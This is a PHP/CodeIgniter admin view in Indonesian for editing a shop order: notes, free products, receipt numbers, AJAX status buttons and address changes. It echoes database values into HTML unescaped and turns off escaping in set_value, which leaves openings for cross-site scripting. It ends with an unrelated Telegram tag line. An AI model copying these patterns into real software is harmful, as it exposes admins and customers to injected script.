        <label>Catatan Admin:</label><br>
        <?= form_textarea('admin_note', set_value('admin_note', $order->admin_note, FALSE)); ?>
        <?= form_error('admin_note'); ?>
        <input type="submit" value="Update Catatan" name="add_note" class="btn btn-default form-control" style="width: 200px;">
        <br><br>
        <?= form_close(); ?>
    </div>
    <div class="col-sm-6">
        <div class="col-sm-12">
            <?= form_open('admin/orders/free_product/' . $order->id_orders, ['id' => 'addProductForm']); ?>
            <label>Free Product:</label><br><br>
            <div class="col-sm-6">
                <h6>Pilih Produk</h6>
                <select name="product_free_choose" id="product_free_choose" class="form-control">
                    <?php foreach ($product_free as $pf) : ?>
                        <option value="<?= $pf->product_details_id ?>" data-sku="<?= $pf->sku ?>" data-title="<?= $pf->title ?>" data-product-attribute="<?= $pf->attribute_detail ?>" data-id-products="<?= $pf->id_products ?>">
                            <?= $pf->title ?> <?= $pf->product_attribute ?> <?= $pf->attribute_detail ?>
                        </option>
                    <?php endforeach ?>
                </select>

            </div>
            <div class="col-sm-6">
                <h6>Masukan Kuantitas</h6>
                <input class="form-control" type="number" name="product_free_choose_qty" id="product_free_choose_qty" value="1" required>
                <!-- Hidden inputs for pf->title, pf->product_attribute, and pf->id_products -->
                <input type="hidden" name="pf_title" id="pf_title">
                <input type="hidden" name="pf_product_attribute" id="pf_product_attribute">
                <input type="hidden" name="pf_id_products" id="pf_id_products">
                <input type="hidden" name="pf_sku" id="pf_sku">
            </div>
            <div class="col-sm-6">
                <br>
                <button class="btn btn-default form-control" style="width: 200px;" type="button" data-toggle="modal" data-target="#confirmationModal">Tambah Produk</button>
            </div>
            <?= form_close(); ?>
            <!-- Confirmation Modal -->
            <div class="modal fade" id="confirmationModal" tabindex="-1" role="dialog" aria-labelledby="confirmationModalLabel" aria-hidden="true">
                <div class="modal-dialog" role="document">
                    <div class="modal-content">
                        <div class="modal-header">
                            <h5 class="modal-title" id="confirmationModalLabel">Konfirmasi Tambah Produk</h5>
                            <button type="button" class="close" data-dismiss="modal" aria-label="Close">
                                <span aria-hidden="true">&times;</span>
                            </button>
                        </div>
                        <div class="modal-body">
                            Apakah Anda yakin ingin menambahkan produk ini?
                        </div>
                        <div class="modal-footer">
                            <button type="button" class="btn btn-secondary" data-dismiss="modal">Tutup</button>
                            <button type="button" class="btn btn-primary" onclick="submitForm()">Tambah Produk</button>
                        </div>
                    </div>
                </div>
            </div>
        </div>
    </div>

    <script>
        function updateStock() {
            var selectedProduct = document.getElementById('product_free_choose');
            var selectedOption = selectedProduct.options[selectedProduct.selectedIndex];

            var stockInput = document.getElementById('product_free_choose_qty');
            var quantityInput = document.getElementById('product_free_choose_qty_input');

            stockInput.value = ''; // Reset stock input

            if (selectedOption) {
                var stock = selectedOption.getAttribute('data-stock');
                stockInput.value = stock;
                quantityInput.max = stock; // Set max quantity to available stock
            }
        }

        function submitForm() {
            // Set the values of hidden inputs
            document.getElementById('pf_title').value = document.getElementById('product_free_choose').options[document.getElementById('product_free_choose').selectedIndex].getAttribute('data-title');
            document.getElementById('pf_product_attribute').value = document.getElementById('product_free_choose').options[document.getElementById('product_free_choose').selectedIndex].getAttribute('data-product-attribute');
            document.getElementById('pf_id_products').value = document.getElementById('product_free_choose').options[document.getElementById('product_free_choose').selectedIndex].getAttribute('data-id-products');
            document.getElementById('pf_sku').value = document.getElementById('product_free_choose').options[document.getElementById('product_free_choose').selectedIndex].getAttribute('data-sku');

            // Submit the form
            document.getElementById('addProductForm').submit();
        }
    </script>
</div>


<div class="modal fade" id="ubahResiAll" tabindex="-1" role="dialog" aria-labelledby="ubahOngkirModalLabel" aria-hidden="true">
    <div class="modal-dialog" role="document">
        <div class="modal-content">
            <div class="modal-header">
                <h5 class="modal-title" id="ubahOngkirModalLabel">Ubah Resi Langsung</h5>
                <button type="button" class="close" data-dismiss="modal" aria-label="Close">
                    <span aria-hidden="true">&times;</span>
                </button>
            </div>
            <?= form_open('admin/orders_retailer/update_resi_all/' . $order->id_orders); ?>
            <div class="modal-body">
                <input type="hidden" name="status" id="status" value="2">
                <input type="hidden" name="status_order" id="status" value="5">
                <input type="hidden" name="orders_id" id="orders_id" value="<?= $order->id_orders; ?>">
                <?= form_label('Input Resi', 'Input Resi'); ?>
                <?= form_input(['name' => 'resi', 'id' => 'resi', 'class' => 'form-control', 'value' => '']); ?>
            </div>
            <div class="modal-footer">
                <button type="button" class="btn btn-secondary" data-dismiss="modal">Close</button>
                <button type="submit" class="btn btn-primary" id="simpanOngkirBtn">Simpan</button>
            </div>
            <?= form_close(); ?>


        </div>
    </div>
</div>

<!-- cek salah satu barang sudah ready to pick up -->
<?php
$cek    = 0;
$status = $this->db->select('payment_status')->from('orders')->where('id_orders', $order->id_orders)->get()->row()->payment_status;
if ($status >= 3) :
?>
    <div class="row" style="margin-top: 0px;">
        <div class="col-sm-12" style="text-align: center;">
            <!-- <a href="<?= base_url() . 'admin/orders/generate_invoice/' . $order->id_orders; ?>" target="_blank" class="btn btn-success" type="submit" onclick="return confirm('Print Invoice ??')">
                <i class="fa fa-print"></i>&nbsp;Print Invoice
            </a> -->
            <!-- <?php if ($order->payment_status == 5 && $order->status_jurnalid == 'open') : ?>
                <a href="<?= base_url('admin/orders/manual_sync/' . $order->id_orders) ?>" type="submit" class="btn btn-primary">
                    <i class="fa fa-save"></i>&nbsp;Sync to Jurnal
                </a>
            <?php endif; ?> -->
        </div>
    </div>
<?php endif; ?>

<script>
    // $("body").removeAttr("onload");
    // $("body").removeAttr("onunload");
    // $("body").attr("onload",loadScroll());
    // $("body").attr("onunload",saveScroll());

    $(document).ready(function() {
        // onload="loadScroll()" onunload="saveScroll()"
    });

    // if($item->status == 0){
    //     $style="red";
    //     $stprod="Open";
    // }else if($item->status == 1){
    //     $style="yellow";
    //     $stprod="Ready to Send";
    // }else if($item->status == 2){
    //     $style="lime";
    //     $stprod="Picked Up";
    // }else if($item->status == 3){
    //     $style="lightgreen";
    //     $stprod="Fully paid";
    // }
    function editOngkir(ele, witch = "indent") {
        var productid = ele.data("productid");
        var order_detailid = ele.data("order_detailid");
        var orderid = ele.data("orderid");
        var itemid = ele.data("itemid");

        callAjax('admin/orders/jx_update_stt_withbutton', {
            productid: productid,
            order_detailid: order_detailid,
            orderid: orderid,
            itemid: itemid,
            p_act: "ready to send",
            witch: witch,
        }, function(rs) {
            if (rs.msg === "Sukses") {
                if (witch === "indent") {
                    ele.parents("div#dv_btn_set_status_product")
                        .append(
                            "<button " +
                            "data-productid=" + productid + " " +
                            "data-order_detailid=" + order_detailid + " " +
                            "data-orderid=" + orderid + " " +
                            "data-itemid=" + itemid + " " +
                            " onclick=\"fbtn_fullypaid($(this));\" class='btn btn-sm btn-default' id='btn_fullypaid'>" +
                            "Fully Paid" +
                            "</button>"
                        );
                    // ele.parents("td")
                    // .find("p span").css({
                    //     "background-color":"yellow",
                    // });
                    // ele.parents("td")
                    // .find("p span").text("Ready to Send");  
                }
                if (witch === "instock") {
                    ele.parents("div#dv_btn_set_status_product")
                        .append(
                            "<input placeholder='No. Resi Pengiriman' type='text' value='' class='form-control input-sm' id='inp_noresi'>"
                        );
                    ele.parents("div#dv_btn_set_status_product")
                        .append(
                            "<div style='width:100%;' class='text-center'><button " +
                            "data-productid=" + productid + " " +
                            "data-order_detailid=" + order_detailid + " " +
                            "data-orderid=" + orderid + " " +
                            "data-itemid=" + itemid + " " +
                            " onclick=\"fbtn_savenoresi($(this),'instock');\" class='btn btn-sm btn-default' id='btn_savenoresi'>" +
                            "Simpan No. Resi Pengiriman" +
                            "</button>" +
                            "<button " +
                            "data-productid=" + productid + " " +
                            "data-order_detailid=" + order_detailid + " " +
                            "data-orderid=" + orderid + " " +
                            "data-itemid=" + itemid + " " +
                            " onclick=\"fbtn_sent($(this),'instock');\" class='btn btn-sm btn-primary' disabled id='btn_sent'>" +
                            "Terkirim" +
                            "</button></div>"
                        );
                    // ele.parents("td")
                    // .find("p span").css({
                    //     "background-color":"yellow",
                    // });
                    // ele.parents("td")
                    // .find("p span").text("Ready to Send");
                }
                $("table#tbl_itemproduct").find("input, button, a")
                    .attr("disabled", true);
                location.reload();
                ele.remove();
            }
        });

    }

    function fbtn_r_tosend(ele, witch = "indent") {
        var productid = ele.data("productid");
        var order_detailid = ele.data("order_detailid");
        var orderid = ele.data("orderid");
        var itemid = ele.data("itemid");

        callAjax('admin/orders/jx_update_stt_withbutton', {
            productid: productid,
            order_detailid: order_detailid,
            orderid: orderid,
            itemid: itemid,
            p_act: "ready to send",
            witch: witch,
        }, function(rs) {
            if (rs.msg === "Sukses") {
                if (witch === "indent") {
                    ele.parents("div#dv_btn_set_status_product")
                        .append(
                            "<button " +
                            "data-productid=" + productid + " " +
                            "data-order_detailid=" + order_detailid + " " +
                            "data-orderid=" + orderid + " " +
                            "data-itemid=" + itemid + " " +
                            " onclick=\"fbtn_fullypaid($(this));\" class='btn btn-sm btn-default' id='btn_fullypaid'>" +
                            "Fully Paid" +
                            "</button>"
                        );
                    // ele.parents("td")
                    // .find("p span").css({
                    //     "background-color":"yellow",
                    // });
                    // ele.parents("td")
                    // .find("p span").text("Ready to Send");  
                }
                if (witch === "instock") {
                    ele.parents("div#dv_btn_set_status_product")
                        .append(
                            "<input placeholder='No. Resi Pengiriman' type='text' value='' class='form-control input-sm' id='inp_noresi'>"
                        );
                    ele.parents("div#dv_btn_set_status_product")
                        .append(
                            "<div style='width:100%;' class='text-center'><button " +
                            "data-productid=" + productid + " " +
                            "data-order_detailid=" + order_detailid + " " +
                            "data-orderid=" + orderid + " " +
                            "data-itemid=" + itemid + " " +
                            " onclick=\"fbtn_savenoresi($(this),'instock');\" class='btn btn-sm btn-default' id='btn_savenoresi'>" +
                            "Simpan No. Resi Pengiriman" +
                            "</button>" +
                            "<button " +
                            "data-productid=" + productid + " " +
                            "data-order_detailid=" + order_detailid + " " +
                            "data-orderid=" + orderid + " " +
                            "data-itemid=" + itemid + " " +
                            " onclick=\"fbtn_sent($(this),'instock');\" class='btn btn-sm btn-primary' disabled id='btn_sent'>" +
                            "Terkirim" +
                            "</button></div>"
                        );
                    // ele.parents("td")
                    // .find("p span").css({
                    //     "background-color":"yellow",
                    // });
                    // ele.parents("td")
                    // .find("p span").text("Ready to Send");
                }
                $("table#tbl_itemproduct").find("input, button, a")
                    .attr("disabled", true);
                location.reload();
                ele.remove();
            }
        });

    }

    function fbtn_fullypaid(ele) {
        var productid = ele.data("productid");
        var order_detailid = ele.data("order_detailid");
        var orderid = ele.data("orderid");
        var itemid = ele.data("itemid");

        callAjax('admin/orders/jx_update_stt_withbutton', {
            productid: productid,
            order_detailid: order_detailid,
            orderid: orderid,
            itemid: itemid,
            p_act: "fully paid",
        }, function(rs) {
            if (rs.msg === "Sukses") {
                ele.parents("div#dv_btn_set_status_product")
                    .append(
                        "<input placeholder='No. Resi Pengiriman' type='text' value='' class='form-control input-sm' id='inp_noresi'>"
                    );
                ele.parents("div#dv_btn_set_status_product")
                    .append(
                        "<div style='width:100%;' class='text-center'><button " +
                        "data-productid=" + productid + " " +
                        "data-order_detailid=" + order_detailid + " " +
                        "data-orderid=" + orderid + " " +
                        "data-itemid=" + itemid + " " +
                        " onclick=\"fbtn_savenoresi($(this));\" class='btn btn-sm btn-default' id='btn_savenoresi'>" +
                        "Simpan No. Resi Pengiriman" +
                        "</button>" +
                        "<button " +
                        "data-productid=" + productid + " " +
                        "data-order_detailid=" + order_detailid + " " +
                        "data-orderid=" + orderid + " " +
                        "data-itemid=" + itemid + " " +
                        " onclick=\"fbtn_sent($(this));\" class='btn btn-sm btn-primary' disabled id='btn_sent'>" +
                        "Terkirim" +
                        "</button></div>"
                    );
                // ele.parents("td")
                // .find("p span").css({
                //     "background-color":"lightgreen",
                // });
                // ele.parents("td")
                // .find("p span").text("Fully paid");

                $("table#tbl_itemproduct").find("input, button, a")
                    .attr("disabled", true);
                location.reload();
                ele.remove();
            }
        });
    }

    function fbtn_savenoresi(ele, witch = "indent") {

        var productid = ele.data("productid");
        var order_detailid = ele.data("order_detailid");
        var orderid = ele.data("orderid");
        var itemid = ele.data("itemid");
        var inp_noresi = ele.parents("div#dv_btn_set_status_product")
            .find("input#inp_noresi");
        var btn_sent = ele.parents("div#dv_btn_set_status_product")
            .find("button#btn_sent");


        if (inp_noresi.val() !== "") {
            callAjax('admin/orders/jx_update_stt_withbutton', {
                productid: productid,
                order_detailid: order_detailid,
                orderid: orderid,
                itemid: itemid,
                inp_noresi: inp_noresi.val(),
                p_act: "save noresi",
                witch: witch,
            }, function(rs) {
                if (rs.msg === "Sukses") {
                    if (btn_sent.is(':disabled')) {
                        inp_noresi.attr("readonly", true);
                        btn_sent.removeAttr("disabled");
                        ele.text("Ubah No. Resi Pengiriman");
                    } else {
                        inp_noresi.removeAttr("readonly");
                        btn_sent.attr("disabled", true);
                        ele.text("Simpan No. Resi Pengiriman");
                    }

                }
            });
        }
    }

    function fbtn_sent(ele, witch = "indent") {

        var productid = ele.data("productid");
        var order_detailid = ele.data("order_detailid");
        var orderid = ele.data("orderid");
        var itemid = ele.data("itemid");
        var inp_noresi = ele.parents("div#dv_btn_set_status_product")
            .find("input#inp_noresi");

        if (confirm("Are you sure?") === true) {
            callAjax('admin/orders/jx_update_stt_withbutton', {
                productid: productid,
                order_detailid: order_detailid,
                orderid: orderid,
                itemid: itemid,
                inp_noresi: inp_noresi.val(),
                p_act: "sent",
                witch: witch,
            }, function(rs) {
                if (rs.msg === "Sukses") {

                    // ele.parents("td")
                    // .find("p span").css({
                    //     "background-color":"lime",
                    // });
                    // ele.parents("td")
                    // .find("p span").text("Picked Up"); 

                    $("table#tbl_itemproduct").find("input, button, a")
                        .attr("disabled", true);
                    location.reload();
                    ele.parents("div#dv_btn_set_status_product").remove();
                }
            });
        }
    }

    function ajax_update_status(order_id, item_id, run, is_backorder, warehouse_id, id_order_detail) {
        $('#product_code' + run).on('keyup keypress', function(e) {
            var keyCode = e.keyCode || e.which;
            if (keyCode === 13) {
                e.preventDefault();
                return false;
            }
        });

        $.ajax({
            'url': '<?php echo base_url(); ?>' + 'admin/orders' + '/ajax_update_status',
            'type': 'POST',
            'data': {
                'id_orders': order_id,
                'id_products': item_id,
                'barcode_validate': $("#product_code" + run).val(),
                'is_backorder': is_backorder,
                'warehouse_id': warehouse_id,
                'id_order_detail': id_order_detail,
                '<?= $this->security->get_csrf_token_name(); ?>': '<?= $this->security->get_csrf_hash(); ?>'
            },
            'success': function(result) {
                if (result == "true") {
                    document.getElementById("notifbarcode" + run).innerHTML = "true";
                    $("#product_code" + run).prop("readonly", true);

                    location.reload();
                } else if (result == "") {

                    location.reload();
                } else {
                    document.getElementById("notifbarcode" + run).innerHTML = result;
                }
            }
        });
    }
</script>


<script>
    $(document).ready(function() {

        $('#shipping_province').change(function() {
            $('#shipping_subdistrict').empty(); //to empty select box
            var id_shipping_province = $(this).val();
            load_shipping_district_ajax(id_shipping_province);
        });

        $('#shipping_district').change(function() {
            var id_shipping_district = $(this).val();
            load_shipping_subdistrict_ajax(id_shipping_district);
        });

        $('#shipping_subdistrict').change(function() {
            var id_shipping_province = $('#shipping_province').val();
            var id_shipping_district = $('#shipping_district').val();
            var id_shipping_subdistrict = $(this).val();
            reload_shipping_result(id_shipping_province, id_shipping_district, id_shipping_subdistrict);
        });
    });

    function load_shipping_district_ajax(id_shipping_province) {
        jQuery.ajax({
            'url': '<?= base_url(); ?>' + 'ajax' + '/ajax_get_shipping_district',
            'type': 'POST',
            'data': {
                'id_shipping_province': id_shipping_province,
                '<?= $this->security->get_csrf_token_name(); ?>': '<?= $this->security->get_csrf_hash(); ?>'
            },
            'success': function(data) {
                $('#shipping_district').html(data).focus();
            }
        });
    }

    function load_shipping_subdistrict_ajax(id_shipping_district) {
        jQuery.ajax({
            'url': '<?= base_url(); ?>' + 'ajax' + '/ajax_get_shipping_subdistrict',
            'type': 'POST',
            'data': {
                'id_shipping_district': id_shipping_district,
                '<?= $this->security->get_csrf_token_name(); ?>': '<?= $this->security->get_csrf_hash(); ?>'
            },
            'success': function(data) {
                $('#shipping_subdistrict').html(data).focus();
            }
        });
    }
</script>

<?php foreach ($order_details as $item) : ?>

    <!-- The Modal -->
    <div class="modal fade" id="ModalChangeAddress<?= $item->id_orders_detail; ?>">
        <div class="modal-dialog modal-lg">
            <div class="modal-content">

                <!-- Modal Header -->
                <div class="modal-header">
                    <h4 class="modal-title"><i class="fa fa-map"></i> Ubah Alamat Pengiriman</h4>
                    <button type="button" class="close" data-dismiss="modal">&times;</button>
                </div>

                <?= form_open('admin/orders/change_indent_address'); ?>
                <input type="hidden" name="order_detail_id" value="<?= $item->id_orders_detail; ?>">
                <input type="hidden" name="inp_order_id" value="<?= $order->id_orders; ?>">
                <input type="hidden" name="inp_customer_id" value="<?= $order->customer_id; ?>">

                <!-- Modal body -->
                <div class="modal-body">

                    <div class="row" style="">
                        <div class="col-sm-10">
                            <div class="row">
                                <div class="col-sm-3">
                                    Tujuan<sup>*</sup>
                                </div>
                                <div class="col-sm-3">

                                    <select style="border-radius: 0;" required="" id="shipping_province" name="shipping_province" class="form-control">
                                        <option value="">Pilih Provinsi</option>
                                        <?php foreach ($shipping_provinces as $shipping_province) : ?>
                                            <option value="<?= $shipping_province->rajaongkir_province_id; ?>" <?php if ($shipping_province->rajaongkir_province_id == $item->new_province_id) : ?> selected <?php endif; ?>><?= ucwords($shipping_province->province); ?></option>
                                        <?php endforeach; ?>
                                    </select>
                                </div>
                                <div class="col-sm-3">
                                    <select style="border-radius: 0;" required="" id="shipping_district" name="shipping_district" class="form-control">
                                        <option value="">Pilih Kota / Negara...</option>
                                    </select>
                                </div>
                                <div class="col-sm-3">
                                    <select style="border-radius: 0;" required="" id="shipping_subdistrict" name="shipping_subdistrict" class="form-control">
                                        <option value="">Choose District...</option>
                                        <span style="font-size:10px;"></span>
                                    </select>
                                </div>
                            </div>
                        </div>
                    </div>

                    <div class="row" style="">
                        <div class="col-sm-10">
                            <div class="row">
                                <div class="col-sm-3">
                                    Alamat penerima<sup>*</sup>
                                </div>
                                <div class="col-sm-9">
                                    <input type="text" name="address" id="shipping_address" required class="form-control" placeholder="Isi Alamat Baru..." />
                                </div>
                            </div>
                        </div>
                    </div>

                </div>

                <!-- Modal footer -->
                <div class="modal-footer">
                    <input type="submit" class="btn btn-primary" value="Update Alamat" name="change_indent_address">
                    <button type="button" class="btn btn-danger" data-dismiss="modal">Tutup</button>
                </div>
                </form>

            </div>
        </div>
    </div>
    <!-- end modal -->

<?php endforeach; ?>

https://t.me/RX1948 - 2025